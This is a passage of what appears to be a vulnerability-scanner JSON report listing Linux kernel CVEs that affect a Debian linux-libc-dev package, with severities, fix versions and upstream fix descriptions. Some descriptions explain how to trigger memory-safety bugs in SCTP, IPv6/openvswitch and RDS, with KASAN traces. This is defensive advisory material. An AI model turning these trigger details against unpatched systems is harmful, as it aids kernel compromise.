"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/9fa903b24b1f46b4ff5443bcd4aca23e5c57f9c1%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98364.mbox", "https://git.kernel.org/stable/c/8d85d6bc9c46dc41cb2be0eac53f8ab068c3a807", "https://git.kernel.org/stable/c/9fa903b24b1f46b4ff5443bcd4aca23e5c57f9c1", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-yqaindjkanr5.toml", "https://linux.oracle.com/cve/CVE-2026-98364.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98364", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98364" ], "PublishedDate": "2026-10-06T09:18:30.547Z", "LastModifiedDate": "2026-10-19T10:18:39.29Z" }, { "VulnerabilityID": "CVE-2026-98378", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98378", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ee69db2b9825ed3b6a3c6adad86a368bfc9f2583ecee267ede800f22c5f8c5c4", "Title": "kernel: bpf: Skip unsettled links in link iterator", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Skip unsettled links in link iterator\n\nbpf_link_prime() inserts a link into link_idr before anon_inode_getfile()\nsucceeds and before bpf_link_settle() publishes the ID in link-\u003eid.\nbpf_link_by_id() treats such an ID-zero link as unsettled, but the link\niterator takes a reference without this check.\n\nIf anon_inode_getfile() then fails, the creator removes the ID and frees\nits still-private link directly. The iterator is left with a dangling\nreference and its next bpf_link_put() accesses freed memory.\n\nTreat ID-zero entries as transient in bpf_link_get_curr_or_next(), just as\nbpf_link_by_id() does.\n\n BUG: KASAN: slab-use-after-free in bpf_link_put\n Write of size 8 by task exp/384\n Call Trace:\n bpf_link_put kernel/bpf/syscall.c:3372\n bpf_link_seq_next kernel/bpf/link_iter.c:33\n bpf_seq_read kernel/bpf/bpf_iter.c:158\n vfs_read fs/read_write.c:572\n ksys_read fs/read_write.c:716\n do_syscall_64 arch/x86/entry/syscall_64.c:84\n entry_SYSCALL_64_after_hwframe arch/x86/entry/entry_64.S:121\n Kernel panic - not syncing: KASAN: panic_on_warn set ...", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98378", "https://access.redhat.com/security/cve/CVE-2026-98378", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98378.mbox", "https://git.kernel.org/stable/c/50e80e2bb5e2be8515205b9c496b9640ddefa434", "https://git.kernel.org/stable/c/68930f8d40ab4c10ca3b019f076136758fd100a8", "https://git.kernel.org/stable/c/6e271f093d15d323f42de26f66556af53fa8e19f", "https://git.kernel.org/stable/c/798a61edbc436cacdb659927d067368eeb1e30e2", "https://git.kernel.org/stable/c/87ce4b53b7436b50fc984f0a6afaf77f68ac5573", "https://git.kernel.org/stable/c/c251ed48bd9063cf7de6049421e78b6de989060f", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-ihjtadh7qgey.toml", "https://linux.oracle.com/cve/CVE-2026-98378.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98378", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98378" ], "PublishedDate": "2026-10-09T08:16:56.123Z", "LastModifiedDate": "2026-10-24T14:16:39.873Z" }, { "VulnerabilityID": "CVE-2026-98417", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98417", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:710db679286e6cc88bb31d82138e501d78e0c4d17760ae2e51533186125c9b9a", "Title": "kernel: net: xfrm: reject unrepresentable espintcp transport headers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: xfrm: reject unrepresentable espintcp transport headers\n\nESP-in-TCP can hand xfrm packets whose transport header offset no longer\nfits after the stream parser trims the TCP envelope. The plain transport\nheader reset truncates that offset and triggers the skb warning path.\n\nUse the careful transport-header helper and drop the skb through the\nexisting XFRM error path when the offset cannot be represented.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98417", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98417.mbox", "https://git.kernel.org/stable/c/206f396f46149dc8bc4dfd2b54b9879ba3ee1d7d", "https://git.kernel.org/stable/c/327b2a457dd7d5445f7395f371f3c65de79bd5ce", "https://git.kernel.org/stable/c/4a8243fd2e21980fa3fd10c0610e9155057cebd3", "https://git.kernel.org/stable/c/6c29681207bc213188afa603dff2d55e7178a341", "https://git.kernel.org/stable/c/96f01b53c2d05e003b040892256de54a586e8529", "https://git.kernel.org/stable/c/b2b84e73e0386ad0b4f9b8d3afde343e761f5275", "https://git.kernel.org/stable/c/cce630c751279e974fa0bb574d80575e0cc7e8f3", "https://git.kernel.org/stable/c/d37a5b87577c4b4c1a1dcb000a9dff1df2cf886b", "https://nvd.nist.gov/vuln/detail/CVE-2026-98417", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98417" ], "PublishedDate": "2026-10-14T14:17:53.04Z", "LastModifiedDate": "2026-10-19T10:18:47.1Z" }, { "VulnerabilityID": "CVE-2026-98442", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98442", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0cf2914b798a58eecc1f9edac50f8bd6a036d54a2c05971ecb8b5b5730083efd", "Title": "kernel: net/sched: act_ct: fix helper UAF due to extensions realloc", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ct: fix helper UAF due to extensions realloc\n\nWhile calling the helpers, a raw pointer to the extensions area is\nwired into expectations list:\n\n -\u003e nf_ct_helper()\n -\u003e helper-\u003ehelp()\n -\u003e nf_ct_expect_related_report()\n -\u003e nf_ct_expect_insert()\n -\u003e hlist_add_head_rcu(\u0026exp-\u003elnode, \u0026master_help-\u003eexpectations)\n\nIn case the connection is not confirmed yet, more extensions can be\nadded afterwards with *_ext_add() calls reallocating the extension\nspace and leaving the now invalid pointer in the expectations list\nthat is later accessed while removing the expectation.\n\nMake sure that helpers are called at the end after all the other\nextensions are already added.\n\nNote that the helper rejection now leaves the mark and labels set,\nbut that's not different from how the NAT was handled before or how\nthe mark and the labels were handled on confirmation failure. And\nthere are no atomicity guarantees provided by the API anyway.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98442", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98442.mbox", "https://git.kernel.org/stable/c/1679bbf5fbeac52a310b1a58b2b301bbf388bdbf", "https://git.kernel.org/stable/c/31f5fe29a572037ee19c233dfe506849940c484b", "https://git.kernel.org/stable/c/812c16a255e7773a544e88b39ae6daed25544d30", "https://git.kernel.org/stable/c/8988f4d11f3fba0ab38122178836c683ad516a05", "https://git.kernel.org/stable/c/dad19b59da050cb60d3f7023dac2a042a84bf0bd", "https://linux.oracle.com/cve/CVE-2026-98442.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98442", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98442" ], "PublishedDate": "2026-10-18T16:16:54.503Z", "LastModifiedDate": "2026-10-24T14:16:42.08Z" }, { "VulnerabilityID": "CVE-2026-98466", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98466", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ef726b84f552c9476754f57d5ebab329796fd1aad17c8665b6844202d6adfa4b", "Title": "kernel: KVM: arm64: Transfer the hyp stack pages out of the host stage-2", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Transfer the hyp stack pages out of the host stage-2\n\nfix_host_ownership() walks only the linear-map alias of each memblock\nregion, and the per-CPU hyp stack, mapped in the private VA range for\nits guard page, has none.\n\nWalk each stack's VA range with the same walker.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-98466", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98466.mbox", "https://git.kernel.org/stable/c/22df195bff84300a3f04813d6148765c77ac565a", "https://git.kernel.org/stable/c/3a8c562892b96f35bba1e00d5e455a15963bbb92", "https://git.kernel.org/stable/c/e5dd2a91a7ae3a276e6d79806127e923936e241b", "https://linux.oracle.com/cve/CVE-2026-98466.html", "https://linux.oracle.com/errata/ELSA-2026-93412.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98466", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98466" ], "PublishedDate": "2026-10-18T16:16:57.09Z", "LastModifiedDate": "2026-10-24T14:16:43.193Z" }, { "VulnerabilityID": "CVE-2026-98490", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98490", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:41bc1f1293c42f380ff4b8a1c2c870533fe064790efcf519b4bf2c8d171289ce", "Title": "kernel: net: openvswitch: conntrack: fix helper UAF due to extensions realloc", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: conntrack: fix helper UAF due to extensions realloc\n\nWhile calling the helpers, a raw pointer to the extensions area is\nwired into expectations list:\n\n -\u003e nf_ct_helper()\n -\u003e helper-\u003ehelp()\n -\u003e nf_ct_expect_related_report()\n -\u003e nf_ct_expect_insert()\n -\u003e hlist_add_head_rcu(\u0026exp-\u003elnode, \u0026master_help-\u003eexpectations)\n\nIn case the connection is not confirmed yet, more extensions can be\nadded afterwards with *_ext_add() calls reallocating the extension\nspace and leaving the now invalid pointer in the expectations list\nthat is later accessed while removing the expectation.\n\nMake sure that helpers are called at the end after all the other\nextensions are already added.\n\nNote that the helper rejection now leaves the mark and labels set,\nbut that's not different from how the NAT was handled before or how\nthe mark and the labels were handled on confirmation failure. And\nthere are no atomicity guarantees provided by the API anyway.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98490", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98490.mbox", "https://git.kernel.org/stable/c/18866dc1f525f9ee4de7709529d1ae1af8d8e8be", "https://git.kernel.org/stable/c/1a4151e6be57b098b7a5ebfbde58585e83200cdc", "https://git.kernel.org/stable/c/5f23080a625dd7855ab91485c8d691a54a1979f0", "https://git.kernel.org/stable/c/84d47a83b7b717576de0defab46b8823a22853b0", "https://git.kernel.org/stable/c/9f308197395c1a524b736e401cbc8a2ed7d246c9", "https://git.kernel.org/stable/c/afcf362625190c5260530b1d6c7daa98831f6b83", "https://git.kernel.org/stable/c/e02a83bb0b7a203f6a22f55ad5f426765560f811", "https://git.kernel.org/stable/c/f53d13a286fb275bda0efdf445b8a1e4dfcb717b", "https://linux.oracle.com/cve/CVE-2026-98490.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98490", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98490" ], "PublishedDate": "2026-10-18T16:16:59.903Z", "LastModifiedDate": "2026-10-30T13:21:14.923Z" }, { "VulnerabilityID": "CVE-2026-98524", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98524", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71a0b01e2bb74cc455b37dc86e17d8858e01e48bfb184726092ec8a09b2a3384", "Title": "kernel: rds: ib: Clear the sg list when mapping an MR fails", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrds: ib: Clear the sg list when mapping an MR fails\n\nrds_ib_map_frmr() stores the caller's scatterlist in the MR before DMA\nmapping and registration can fail. On failure, __rds_rdma_map() unpins\nthe pages and frees the scatterlist, but rds_ib_free_frmr() can still\nreturn the MR to the pool with the stale pointer set.\n\nThis leaves the pool with a dangling scatterlist and can lead to local\nprivilege escalation. KASAN detects the resulting use-after-free when the\nMR is later torn down:\n\nBUG: KASAN: slab-use-after-free in __rds_ib_teardown_mr\nRead of size 8\n\nCall Trace:\n __rds_ib_teardown_mr\n rds_ib_unreg_frmr\n rds_ib_flush_mr_pool\n rds_ib_flush_mrs\n rds_free_mr\n rds_setsockopt\n\nStore the scatterlist in the MR only after DMA mapping succeeds. If DMA\nmapping fails, return directly while the MR fields remain clear; the caller\nkeeps ownership of the scatterlist and its pinned pages. If a later\nregistration step fails, unmap the scatterlist and clear the MR fields\nbefore returning.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98524", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98524.mbox", "https://git.kernel.org/stable/c/1be3211e6ac77adbb1eac01314d989d243b32c59", "https://git.kernel.org/stable/c/4468df5bcdef959fd96494e9968f323561a45f4c", "https://git.kernel.org/stable/c/49ba5ed0129906e0362c2e4b5e21c89b2a41e115", "https://git.kernel.org/stable/c/58eb1b3325edac42dc6df72c80962bd53a3c8ca7", "https://git.kernel.org/stable/c/8dca3c81344532a7f05edb3d12f31f3009410a90", "https://git.kernel.org/stable/c/b36d32f30c3f1e58e3a5ae79d0f52836a316b36e", "https://git.kernel.org/stable/c/c42d316163f89cd23de2f3e24558177a8c29bad8", "https://git.kernel.org/stable/c/e2ee0616260080376123997488b5cf8a3870b8d9", "https://nvd.nist.gov/vuln/detail/CVE-2026-98524", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98524" ], "PublishedDate": "2026-10-18T16:17:03.827Z", "LastModifiedDate": "2026-10-24T14:16:46.107Z" }, { "VulnerabilityID": "CVE-2026-98532", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98532", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:91dd6894c2f0ad64850efff9844a3672dc0628f3f9f4e76036e930a0e82349b2", "Title": "kernel: ipv6: do not let ipv6_find_hdr() return an offset past the packet end", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: do not let ipv6_find_hdr() return an offset past the packet end\n\nipv6_find_hdr() walks the extension header chain, skipping each header by\nthe length that header itself declares. ipv6_optlen() returns up to 2048,\nand the skip is never checked against skb-\u003elen, so the offset stored in\n*offset can point past the end of the packet.\n\nopenvswitch installs that offset as the transport header, and\nupdate_ipv6_checksum() then reads and writes the transport checksum field\nout of bounds:\n\n BUG: KASAN: slab-use-after-free in inet_proto_csum_replace16+0x445/0x470\n Read of size 2 at addr ffff88810b754b06 by task ovs_ipv6_oob/629\n CPU: 4 UID: 1000 PID: 629 Comm: ovs_ipv6_oob Tainted: G N 7.3.0-rc3+ #348\n Call Trace:\n inet_proto_csum_replace16+0x445/0x470\n set_ipv6_addr+0x3dd/0x460\n do_execute_actions+0x6a3d/0x7c40\n ovs_execute_actions+0xfd/0x480\n ovs_packet_cmd_execute+0xc38/0xf20\n genl_rcv_msg+0x59e/0x870\n netlink_rcv_skb+0x18b/0x450\n genl_rcv+0x2d/0x40\n netlink_unicast+0x6bc/0xa20\n\n The buggy address belongs to the object at ffff88810b754980\n which belongs to the cache skbuff_small_head of size 704\n The buggy address is located 390 bytes inside of\n freed 704-byte region [ffff88810b754980, ffff88810b754c40)\n\nOther callers use that offset too, so bound it here rather than in one\ncaller.\n\nReject a header whose declared length does not fit in the packet.\nipv6_find_hdr() already fails with -EBADMSG on a malformed chain, so this\nadds no new failure mode.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98532", "https://access.redhat.com/security/cve/CVE-2026-98532", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98532.mbox", "https://git.kernel.org/stable/c/1c70275ca87e769e1a52abc644d61372d8c016cb", "https://git.kernel.org/stable/c/1d42828565889632068fbc2983c34d57c66af4e0", "https://git.kernel.org/stable/c/4254d5878c320c19961dd0b8e1d0aca4800d8b7d", "https://git.kernel.org/stable/c/531255de8971c06d5d5986f85fdc2525d707ba71", "https://git.kernel.org/stable/c/543354c6efb27eae3372a3a9674aeaa2a86e2b2c", "https://git.kernel.org/stable/c/ca96b38730e31357ef4a9d76af1336958ac670d7", "https://git.kernel.org/stable/c/dc92cb972e86790b8078337ec41015b748b8f8e5", "https://git.kernel.org/stable/c/ee319bd3a0e976af5087cbe59ebc50a66f31d202", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-iwhrubmnqu6p.toml", "https://linux.oracle.com/cve/CVE-2026-98532.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98532", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98532" ], "PublishedDate": "2026-10-18T16:17:04.79Z", "LastModifiedDate": "2026-10-24T14:16:46.34Z" }, { "VulnerabilityID": "CVE-2026-98548", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98548", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9e64057a62a056781eb4fbc18a464ae2b6b16a733678e4750d4e699a33cdcebe", "Title": "kernel: sctp: discard the rest of the packet on a stale-cookie error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: discard the rest of the packet on a stale-cookie error\n\nWhen an association is in COOKIE-ECHOED state and the peer sends a\nbundled [ERROR(Stale Cookie)][DATA] packet from one of its non-primary\naddresses, processing the ERROR chunk takes the non-fatal stale-cookie\nretry path sctp_sf_do_5_2_6_stale(), which queues\nSCTP_CMD_DEL_NON_PRIMARY while keeping the association alive.\nsctp_cmd_del_non_primary() removes every non-primary transport -\nincluding the very transport this packet arrived on, which is still\nreferenced by the receive lookup and shared by all chunks of the\npacket via chunk-\u003etransport.\n\nsctp_assoc_rm_peer() does redirect asoc-\u003epeer.last_data_from away from\nthe removed transport, but right afterwards the bundled DATA chunk\nmakes sctp_assoc_bh_rcv() re-register\nasoc-\u003epeer.last_data_from = chunk-\u003etransport unconditionally, undoing\nthe redirection with the just-removed transport.\n\nOnce the packet is done, the receive reference is dropped and the\ntransport is RCU-freed, while the surviving association keeps the\ndangling last_data_from. A later FWD-TSN (or the delayed SACK timer)\nmakes sctp_gen_sack() dereference it (-\u003eparam_flags and friends), and\nsctp_make_sack()/sctp_outq_select_transport() may write to the freed\nobject and link it into the live transport list. This is a\nuse-after-free triggerable by any malicious SCTP peer (or a local\nunprivileged user acting as one) with no capabilities required:\n\n BUG: KASAN: slab-use-after-free in sctp_do_sm+0x498a/0x5660\n Read of size 4 at addr ffff88800e1e356c by task poc/115\n Call Trace: sctp_do_sm \u003c- sctp_assoc_bh_rcv \u003c- sctp_inq_push \u003c-\n sctp_rcv \u003c- ip_protocol_deliver_rcu \u003c- ip_rcv\n Allocated: sctp_transport_new \u003c- sctp_assoc_add_peer \u003c-\n sctp_process_init (INIT-ACK processing)\n Freed: kfree \u003c- sctp_transport_destroy_rcu \u003c- rcu_core\n (call_rcu queued by sctp_transport_put at end of sctp_rcv)\n The buggy address is located 364 bytes inside of freed 1024-byte\n region [ffff88800e1e3400, ffff88800e1e3800), cache kmalloc-1k\n\nNote that commit 03a9d10ecf71 (\"sctp: drop a chunk if its transport\nwas removed\") only covers the window between the receive lookup and\nthe chunk processing (e.g. an ASCONF DEL-IP racing the socket backlog);\nhere the transport is removed *while* the packet is being processed,\nby an earlier chunk of the same packet, so the drop in sctp_inq_push()\ndoes not reach this path. Verified with the bundled [ERROR(Stale\nCookie)][DATA] + FWD-TSN reproducer: the KASAN report above still\nfires with that commit applied, and is gone with this patch on top.\n\nFix it by discarding the rest of the packet on this path, as suggested\nby Xin. After the stale-cookie ERROR has sent the association back to\nCOOKIE-WAIT and removed the non-primary transports, the remaining\nchunks of the packet can only run against the restarted handshake\nwhile referencing the removed arrival transport through\nchunk-\u003etransport: besides the last_data_from registration 